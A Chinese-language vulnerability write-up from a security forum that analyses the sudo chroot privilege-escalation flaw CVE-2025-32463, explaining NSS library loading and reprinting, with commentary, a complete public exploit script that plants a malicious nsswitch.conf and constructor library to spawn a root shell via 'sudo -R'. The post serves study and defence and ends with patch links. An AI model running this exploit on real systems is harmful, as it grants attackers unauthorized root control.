问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
【热点】CVE-2025-32463 Linux sudo chroot本地提权漏洞分析复现
漏洞分析
Linux sudo chroot 权限提升漏洞(CVE-2025-32463)源于本地低权限用户通过特制的恶意 chroot 环境触发动态库加载,从而以 root 权限执行任意代码。
一、漏洞简介 ------ Linux 是一种免费开源的类 Unix 操作系统,广泛应用于服务器、嵌入式设备及云计算领域。Sudo 是一款在类 Unix 系统中用于允许授权用户以其他用户(通常是超级用户)的安全权限执行命令的工具,广泛应用于系统管理和运维过程中。它提供了灵活的访问控制机制,允许系统管理员精细地控制哪些用户可以执行哪些命令,以及在何种条件下执行。 Linux sudo chroot 权限提升漏洞(CVE-2025-32463)源于本地低权限用户通过特制的恶意 chroot 环境触发动态库加载,从而以 root 权限执行任意代码。 | | | | | |---|---|---|---| | **漏洞概述** | | | | | **漏洞名称** | Linux sudo 本地提权漏洞 | | | | **漏洞编号** | CVE-2025-32463 | | | | **公开时间** | 2025-06-30 | **影响量级** | 千万级 | | **评级** | **高危** | **CVSS 3.1分数** | **7.0/7.8** | | **威胁类型** | 权限提升 | **利用可能性** | **高** | | **POC状态** | **已公开** | **在野利用状态** | 未发现 | | **EXP状态** | **已公开** | **技术细节状态** | **已公开** | | 危害描述:本地攻击者可绕过权限提升至root并执行任意代码。 | | | | 二、影响版本 ------ CVE-2025-32463: 1.9.14 <= sudo <= 1.9.17 注意:Sudo 的旧版本(当前 <= 1.8.32)不易受到攻击,因为不存在 chroot 功能。 可以自己查询sudo版本,比如我的kali就符合区间  三、漏洞原理分析 -------- 在分析漏洞之前,首先我们先了解一下背景知识,分别是Name Service Switch (NSS),NSS动态库机制,动态库构造函数,sudo的chroot功能 ### Name Service Switch(下文缩写为NSS) linux系统中有一个Name Service Switch的模块(NSS),NSS用于统一管理系统数据库(如用户账户、主机名、网络服务)的查询方式。其配置文件 `**/etc/nsswitch.conf**` 定义了每个数据库的查询顺序和来源(如先查本地文件再查 DNS)。Glibc 中有一部分函数需要依赖这些来源。 ### NSS中的/etc/nsswitch.conf 在`**/etc/nsswitch.conf**`里面写着如密码,用户环境这种信息,但是里面写的东西是一个动态库(稍后我们会用到这个,请看下方注释) 动态库(又称共享库)是一种可被多个程序**重复调用**的二进制代码模块,文件后缀通常为 `.so`(Shared Object)。程序**运行时动态加载**  (这里是kali,下文是Ubuntu22,后面解释为什么没用同一个系统) 比如条目passwd:后面写着files和systemd,对应下图的是libnss\_files.so和libnss\_systemd.so `find /usr/lib -name "libnss_*" 2>/dev/null`  首先我们前文知道了NSS 是通过动态库实现**模块化扩展,那我们来解析一下这个机制** **动态加载机制**: 1. **每个查询源对应一个库文件**: - `files` 源 → `libnss_files.so.2` - `dns` 源 → `libnss_dns.so.2` - `ldap` 源 → `libnss_ldap.so.2` 2. **动态加载机制**: 当程序(如 `getent`)需要查询数据库时: - 读取 `/etc/nsswitch.conf` 配置文件 - 根据配置顺序(如 `hosts: files dns`)加载对应的动态库(`libnss_files.so.2` → `libnss_dns.so.2`) - 调用库中函数执行实际查询操作(如解析 `/etc/hosts` 或 DNS 请求) 我下文举出一个例子方便你们理解这样一个机制 ### Linux中的getpwnam函数(例子) `getpwnam` 是 Linux/Unix 系统编程中的核心函数之一,用于从系统用户数据库中**通过用户名(username)查询用户详细信息**。 #### 工作流程 当调用 `getpwnam("alice")` 时: 1. **读取配置**:解析 `/etc/nsswitch.conf` 中 `passwd` 数据库的配置(如 `passwd: files ldap`) 2. **动态加载模块**:按顺序加载对应的 NSS 动态库(如 `libnss_files.so.2` → `libnss_ldap.so.2`) 3. **逐级查询**: - 先查询本地文件 `/etc/passwd` - 若未找到,通过 `libnss_ldap.so.2` 查询 LDAP 服务器 4. **返回结果**:找到后填充 `struct passwd` 并返回指针 所以我们可以得到如下图的思维顺序  我们可以通过下面一个简单的C语言程序并用 strace 命令跟踪它的系统调用来理解 ```php #include <stdio.h> #include <pwd.h> int main(void) { struct passwd *pw = getpwnam("root"); return 0; } ``` 给这个保存为main.c  执行`gcc main.c -o main`进行编译 然后执行strace命令`strace -e trace=open,read,write,close ./main` 这里如果没有strace命令可以装一下`sudo apt install strace`  这里可以看到显示了执行getpwnam函数系统会打开/etc/nsswitch.conf文件 接下来我们来验证nss会不会调用动态库,我们写一个动态库,然后装到/usr/lib下面 新建一个shared.c,在shared.c里面写这个 ```php #include <stdio.h> __attribute__((constructor)) void test(){ puts("执行test函数"); } ``` 执行编译指令 gcc -shared -FPIC -Wl,-init,test -o libnss\_shared.so.2 shared.c 编译的时候注意点,到那个文件夹的位置去编译  执行`sudo vim /etc/nsswitch.conf`  然后在/etc/nsswitch.conf里面中的随便一个条目的后面把shared添加为第一个检测的动态库 这里我在passwd:的条目行中,在files前面添加shared  esc:wq,保存退出vim 然后我们把动态库复制到系统检测动态库的位置,把libnss\_shared.so.2复制到/usr/lib/ 执行`sudo cp libnss_shared.so.2 /usr/lib/` 然后我们`gcc main.c`,接着`./a.out`  我们成功了,这里我们就完成了验证调用getpwnam函数会读取nsswitch.conf文件,并且nss会根据文件中的配置调用加载动态库这样一个例子 **理解这个例子后,让我正式开始步入核心** ### sudo的chroot功能(-R) sudo的chroot功能允许授权用户在一个指定的目录(作为新的根目录)下运行命令。它主要用于创建受限的文件系统环境,以实现隔离、兼容性测试或安全沙箱等目的。 chroot允许用户在运行命令时临时更改该命令的根目录。也就是说,通过sudo执行的命令会认为指定的目录是文件系统的根目录(/),从而限制该命令只能访问该目录下的文件和目录。 关键点: 1.chroot操作会先于目标命令执行,即在目标命令运行前,整个进程的根目录已经改变。 2.在chroot之后,目标命令(以及该命令所依赖的任何动态库、配置文件等)都必须存在于新的根目录下,否则会因找不到文件而失败。 最终我们就能得出了我们这次漏洞的攻击手法 ### sudo权限提升漏洞原理 本漏洞其实为sudo 在执行 chroot 操作后、降权前的特权时间窗内,会因权限检查触发 NSS 机制,而 NSS 会加载 chroot 环境中恶意的 nsswitch.conf 所指定的恶意动态库,该库的构造函数在被加载时自动执行提权逻辑(如 setreuid (0,0)),从而在 sudo 降权前获取 root 权限。 利用 sudo chroot 提权漏洞的核心是通过构造恶意 chroot 环境,诱导 sudo 在执行 chroot 操作时加载含提权逻辑的恶意动态库,最终获取 root 权限。 四、环境搭建 ------ ### 1.直接去编译(但是我这里失败了) 这个方法是我最开始采用的,但是遗憾退场,我建议你直接用ubuntu24以上的镜像即可,Ubuntu的更新太保守了 **以下我最终没能复现环境,可以放弃尝试,我给出第二种方法了,写出来的目的是为了提醒一下** 你可以从 Sudo 官网下载 1.9.14 的源码:<https://www.sudo.ws/dist/sudo-1.9.14.tar.gz> 然后进行编译 当然你可以先看一下你的版本  我这里太低了,我选择编译 先拉取 `wget [https://www.sudo.ws/dist/sudo-1.9.14.tar.gz](https://www.sudo.ws/dist/sudo-1.9.14.tar.gz)` 然后编译即可 ```php sudo apt install autoconf automake libtool openssl tar -xzf sudo-1.9.14.tar.gz cd sudo-1.9.14 ./autogen.sh ./configure sudo make install ``` 然后记得确保自己编译的sudo权限是正确的  这里是成功编译了  这里版本就已经更换了 然后答案是失败了  uname -a  附上成功的内核版本  ### 2.直接下载对应sudo版本的系统镜像(成功案例) 我这里用的kali去测了,我建议不用折腾去编译,直接用历史镜像在虚拟机装一下就好了 记得下对应版本的 执行检查一下即可  阿里云,中科大,清华什么的各种镜像找找历史镜像就行,这个比较简单就不演示了,装虚拟机即可 五、漏洞复现 ------ 这个POC属于公开的,我就不画蛇添足自己写一个了 地址是在这里[https://github.com/pr0v3rbs/CVE-2025-32463\_chwoot/blob/main/sudo-chwoot.sh](https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/blob/main/sudo-chwoot.sh)  使用只需要把shell脚本执行即可实现提权  其实哪怕我已经明白这个原理我还是怀疑这是chroot内部临时文件夹的root 执行ls  是的,这是真root,是黑客,我们有救了! 复现难度是很低的 让我们来分析一下这个作者的POC吧 ```php #!/bin/bash # sudo-chwoot.sh # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch # @ Stratascale Cyber Research Unit (CRU) STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) #这是一句赋值语法,赋值右边的$()是bash的命令替换语法 #$()括号里面写的是一个命令,$()用于把里面执行的命令中的标准输出替换出来 #而mktemp命令用于创建临时文件,在这个地方是创建一个临时文件夹后面的6个X会被替换随机字符 #这个命令的输出是临时文件夹的绝对路径,用$()语法替换出来,最后STAGE接收的就是 #mktemp创建的临时文件夹的绝对路径 cd ${STAGE?} || exit 1 #${?}为bash参数拓展语法,如果STAGE是空的则拓展出错 #||会检测左边指令,如果左边指令执行出错执行右边的 #整体意思是切换到刚才的临时文件夹中,如果临时文件夹没有创建出来,则退出脚本 if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. # $#表示执行这个脚本时后面有几个参数 # [是shell中的test指令用于测试[]中的语句是否为真 # -eq测试左右表达式是否相等 # 所以意思是 如果执行这个脚本时参数为0则执行if体,否则执行else CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" # $@是执行脚本时传进来的所有的参数 fi # Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g') #这是一个复合语句,printf会把CMD的内容打印出来 #然后输出通过管道|给后面的sed,sed写了两个替换规则 #第一个替换规则是把所有的\替换成\\ #第二个替换规则是把所有的"替换成\"也就是用来转义的 #然后sed的转义结果赋值给CMD_C_ESCAPED cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL); } EOF #这一整个是bash的另一种重定向语法,也就是把<<EOF到EOF之间所有的内容重定向给cat #然后cat会打印相同的内容,不过这里使用> woot1337.c把标准输出的内容重定向给woot1337.c文件 #整体命令就是把<<EOF到EOF之间所有的内容写入woot1337.c文件中 #值得注意的是这个重定向语法内部会进行参数替换 #也就是"${CMD_C_ESCAPED}"会替换为这个变量存的值 mkdir -p woot/etc libnss_ #创建woot/etc和libnss_文件夹 #其中woot为临时根目录,然后在这个根目录下面模真一个etc目录 #libnss_用于存nss需要的动态库 echo "passwd: /woot1337" > woot/etc/nsswitch.conf #向nsswitch.conf破坏性写入passwd: /woot1337字符串 #也就是告诉nss passwd条目需要libnss_/woot1337.so.2动态库 cp /etc/group woot/etc #把/etc/group复制到woot/etc文件夹下面 #/etc/group保存着用户组信息 gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c #把woot1337.c文件编译成动态库,并且设置动态库的初始化函数为woot函数,在动态库加载时自动调用 echo "woot!" #这个仅仅是打印 sudo -R woot woot #调用sudo命令,并且chroot到woot文件夹,值得一提的是第二个woot在这里无意义 #第二个woot作为命令传入,但是由于自动加载动态库的woot函数,会进入bash命令行,所以 #第二个woot无实际意义 rm -rf ${STAGE?} #删除刚才创建的临时文件夹 ``` #### 1. **环境准备** 首先是`STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1` 这里的目的是创建一个临时目录(如`/tmp/sudowoot.stage.abcd1234`)作为攻击环境。 #### 2. **命令处理** ```php if [ $# -eq 0 ]; then CMD="/bin/bash" else CMD="$@" fi CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g') ``` 这个命令处理的意思,若用户未提供参数,默认执行`/bin/bash`(交互式 shell);否则执行用户指定的命令。并且对命令进行转义处理(如将`"`替换为`\"`),确保在 C 代码中作为字符串安全嵌入。 #### 3. **创建恶意动态库源码** ```php cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL); } EOF ``` - 生成`woot1337.c`文件,包含一个`constructor`函数(动态库加载时自动执行)。 - 该函数通过`setreuid(0,0)`和`setregid(0,0)`将当前进程的用户和组 ID 设为 root(0)。 - 最后执行用户指定的命令(或默认的 bash shell)。 #### **4.构造伪造的系统目录结构** ```php mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc ``` - 创建伪造的根目录`woot`,其中: - `woot/etc`:存放系统配置文件。 - `libnss_`:存放恶意动态库。 - `nsswitch.conf`是名称服务配置文件,这里将`passwd`数据库指向`/woot1337`(即后续的恶意动态库)。 - 复制`/etc/group`文件到伪造目录,避免`sudo`检查时出错。 #### 5. **编译恶意动态库** ```php gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c ``` - 编译`woot1337.c`为动态库`woot1337.so.2`,并通过`-Wl,-init,woot`指定加载时优先执行`woot()`函数。 #### 6. **触发漏洞执行** ```php sudo -R woot woot ``` - `-R woot`参数让`sudo`将根目录切换到`woot`文件夹(即伪造的系统目录)。 - `sudo`启动时会读取`woot/etc/nsswitch.conf`,尝试加载`/woot1337`(实际指向`libnss_/woot1337.so.2`)。 - 动态库加载时,`woot()`函数被触发,执行提权代码,最终获得 root shell。 #### 7. **清理痕迹** ```php rm -rf ${STAGE?} ``` - 删除临时文件,掩盖攻击痕迹。 最后这个脚本就能完成`sudo -R`命令在切换根目录后,未正确验证动态链接库的路径,导致加载恶意库,最终实现提权这个行为路径了 六、总结 ---- 总而言之,sudo chroot 提权漏洞(CVE-2025-32463)是一种利用系统组件交互缺陷实现权限提升的攻击手段 从漏洞本质上来看,该漏洞源于 sudo 在执行 chroot 操作后的权限控制时序错误 —— 在 chroot 切换根目录后、执行目标程序前的特权时间窗内,sudo 会因权限检查触发 NSS(Name Service Switch)机制,而 NSS 会优先读取 chroot 环境中恶意的`nsswitch.conf`配置文件。若该配置指定了自定义服务,NSS 会按规则加载对应的恶意动态库,该库的构造函数(如`__attribute__((constructor))`修饰的函数)在被加载时,会在 sudo 尚未降权的 root 权限上下文下自动执行提权逻辑(如`setreuid(0,0)`),最终获取 root 权限。 利用该漏洞需经过构建恶意 chroot 环境(含模拟系统目录结构)、配置恶意 NSS 文件(指定加载恶意库)、编写并编译含提权逻辑的恶意动态库、诱导目标执行`sudo chroot`命令等步骤。其成功依赖于目标用户拥有`sudo chroot`权限,且系统未修复权限时序缺陷。 防御此类漏洞需遵循最小特权原则,限制`sudo chroot`权限,或修复 sudo 的权限控制流程(如先降权再执行 chroot),同时加强对 NSS 配置和动态库加载路径的安全校验,从根源上阻断恶意组件的加载与执行。 官网已经发布相关补丁 官方补丁下载地址: [https://www.sudo.ws/security/advisories/host\\\_any/](https://www.sudo.ws/security/advisories/host%5C_any/) [https://www.sudo.ws/security/advisories/chroot\\\_bug](https://www.sudo.ws/security/advisories/chroot%5C_bug) 在环境中搜索任何使用了Host或Host\_Alias选项的内容。检查 /etc/sudoers 中定义的所有 Sudo 规则以及 /etc/sudoers.d 下的文件。如果 Sudo 规则存储在 LDAP 中,请使用 ldapsearch 等工具转储这些规则。 题外话:笔者本来以为只能chroot简易沙箱内临时文件夹的root,实践得出其实是全局root,牛的 另外最后附上一句,这个脚本就算sudo版本对上了,也不一定能提权,取决于很多原因暂时不清楚,我个人主观推测是内核(sudo使用大量的内核函数了,真有可能是内核版本限制了)或者GitHub是可以修复历史标签版本的,重新打包了所有的sudo,如果有这方面的解释你们可以在评论区留言 参考文献:<https://www.secrss.com/articles/80400>,<https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot> 本文系作者原创,发表于奇安信攻防社区,转载请声明来源
发表于 2025-07-18 17:41:57
阅读 ( 561 )
分类:
操作系统
2 推荐
收藏
0 条评论
请先
登录
后评论
Mortalbeings
练习两年半的渗透测试实习生
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!